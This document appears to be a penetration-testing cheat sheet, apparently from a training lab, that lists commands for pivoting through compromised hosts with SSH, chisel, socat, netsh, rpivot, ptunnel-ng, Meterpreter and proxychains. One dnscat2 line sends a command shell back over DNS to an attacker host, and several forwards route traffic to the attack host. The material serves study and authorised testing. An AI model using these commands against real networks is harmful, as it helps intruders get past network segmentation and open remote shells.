Pivoting, Tunneling, Port Forwarding
Introduction
Pivoting is essentially the idea of moving to other networks through a compromised host (pivot host) to find more targets on different network segments. Pivoting's primary use is to defeat segmentation (both physically and virtually) to access an isolated network. Tunneling is a subset of pivoting. Tunneling encapsulates network traffic into another protocol and routes traffic through it. Port forwarding is a technique that allows us to redirect a communication request from one port to another.
Initial Enumeration - Finding More Targets
Finding Networks
ifconfig
Linux-based command that displays all current network configurations of a system.
ipconfig
Windows-based command that displays all system network configurations.
netstat -r
Command used to display the routing table for all IPv4-based protocols.
netstat -antp
Used to display all active network connections with associated process IDs. Useful to identify internal services to enumerate though pivoting
netstat -antb |findstr 1080
Windows-based command used to list TCP network connections listening on port 1080.
Internal Hosts Discovery
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
For Loop used on a Linux-based system to discover devices in a specified network segment.
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
For Loop used on a Windows-based system to discover devices in a specified network segment.
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.
SSH Local Port forwarding
ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>
SSH comand used to create an SSH tunnel from local port 1234 to a remote target using port 3306.
netstat -antp | grep 1234
Netstat option used to display network connections associated with a tunnel created. Using grep to filter based on local port 1234 .
nmap -v -sV -p1234 localhost
Nmap command used to scan a host through a connection that has been made on local port 1234.
ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>
SSH command that instructs the ssh client to request multiple local port forwarding at the same time.
SSH Dynamic Port Forwarding
ssh -D 9050 ubuntu@<IPaddressofTarget>
SSH command used to perform a dynamic port forward on port 9050 and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.
tail -4 /etc/proxychains.conf
Read proxychains.conf to ensure socks configurations are in place.
proxychains nmap -v -sn 172.16.5.1-200
Send traffic generated by Nmap through Proxychains and a SOCKS proxy.
proxychains msfconsole
Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.
SSH Reverse Port Forwarding
ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 user@<ipAddressofTarget> -vN
Reverse SSH tunnel from target host to attack host. Traffic is forwarded on port 8080 on the attack host to port 80 on the target.
Chisel Pivoting
./chisel server -v -p 1234 --socks5
Used to start a chisel server in verbose mode listening on port 1234 using SOCKS version 5.
./chisel client -v 10.129.202.64:1234 socks
Used to connect to a chisel server at the specified IP address & port using socks.
Add to proxychains: 127.0.0.1 socks5 1080
Line to add to /etc/proxychains.conf when using chisel
ProxyChains Configuration
Many tools will require setting up the proxychain configuration in order to function properly.
For example, chisel requires adding the following:
127.0.0.1 socks5 1080.
socks4 127.0.0.1 9050
Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.
socks5 127.0.0.1 1080
Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.
Meterpreter Pivoting
msf6 > use post/multi/manage/autoroute
Metasploit command used to select the autoroute module.
meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>
Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.
meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>
Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port 1234 listening on the IP address of the Attack Host.
Socat Pivoting
socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80
Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.
socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443
Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.
Windows PLink Pivoting
plink -D 9050 ubuntu@<IPaddressofTarget>
Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.
SSHuttle Pivoting
sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v
Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network
Windows NetSh Pivoting
netsh is the native way to create a port forward on Windows.
Notice that netsh can only be run from Administrator users.
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215
Listen on port on the 192.168.50.64 IP on port 2222 and forward packets to the 10.4.50.215 IP on port 22.
netsh interface portproxy show all
Check estabilished port forwards
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow
Allow the previous port foward's traffic from the windows firewall
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64
Delete the previously created port forward
Rpivot Pivoting
python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
Used to run the rpivot server (server.py) on proxy port 9050, server port 9999 and listening on any IP address (0.0.0.0).
scp -r rpivot ubuntu@<IPaddressOfTarget>
Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.
sudo git clone https://github.com/klsecservices/rpivot.git
Clones the rpivot project GitHub repository.
python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
Used to run the rpivot client (client.py) to connect to the specified rpivot server on the appropriate port.
DNSCat Pivoting
git clone https://github.com/lukebaggett/dnscat2-powershell.git
Clones the dnscat2-powershell project Github repository.
Import-Module dnscat2.ps1
PowerShell command used to import the dnscat2.ps1 tool.
Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd
PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (-Exec cmd).
dnscat2> ?
Used to list dnscat2 options.
dnscat2> window -i 1
Used to interact with an established dnscat2 session.
PTunnel-NG Pivoting
git clone https://github.com/utoni/ptunnel-ng.git
Clones the ptunnel-ng project GitHub repository.
sudo ./autogen.sh
Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.
sudo ./ptunnel-ng -r10.129.202.64 -R22
Used to start the ptunnel-ng server on the specified IP address (-r) and corresponding port (-R22).
sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22
Used to connect to a specified ptunnel-ng server through local port 2222 (-l2222).
Others
proxychains firefox-esr :80
Open firefox with Proxychains and send the web request through a SOCKS proxy server to the specified destination web server.
python client.py --server-ip TargetIP --server-port 8080 --ntlm-proxy-ip ProxyIP --ntlm-proxy-port 8081 --domain nameofWindowsDomain --username username --password password
Run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.
netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25
Windows-based command that uses netsh.exe to configure a portproxy rule called v4tov4 that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.
netsh.exe interface portproxy show v4tov4`
Windows-based command used to view the configurations of a portproxy rule called v4tov4.
sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
Used to start the dnscat2.rb server running on the specified IP address, port (53) & using the domain inlanefreight.local with the no-cache option enabled.
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